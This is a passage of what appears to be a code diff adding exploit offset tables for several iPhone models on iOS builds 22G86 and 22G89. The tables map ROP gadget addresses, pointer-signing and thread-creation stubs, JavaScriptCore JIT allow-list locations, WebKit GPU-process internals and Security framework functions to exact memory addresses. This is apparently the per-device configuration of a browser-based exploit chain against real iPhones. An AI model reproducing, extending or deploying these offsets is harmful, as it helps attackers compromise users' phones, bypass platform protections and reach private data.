0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc55870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a07e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272084000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone17,5_22G86": { + __pthread_head : 0x26970c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f62f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5738n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7045c8n, + free_slabs : 0x1ed7bdd50n, + gadget_control_1_ios184 : 0x23ed652ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6f70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6b70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c38n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb078b4n, + libGPUCompilerImplLazy_cstring : 0x23bc51870n, + libsystem_c__atexit_mutex : 0x1ed6e31d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2440n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a03e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dcc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8771e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883fb8n, + WebCore__initPKContact_value : 0x1ed883fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8783c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + // === 22G89 — derived from 22G86 === + "iPhone11,2_4_6_22G89": { + __pthread_head : 0x268994020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef3e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21effe150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfcdce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21885d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cce08b4n, + libGPUCompilerImplLazy_cstring : 0x23be2a870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d01c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576c7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d022988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ffc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone11,8_22G89": { + __pthread_head : 0x268988020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257693e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ff0000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,1_22G89": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,3_5_22G89": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + 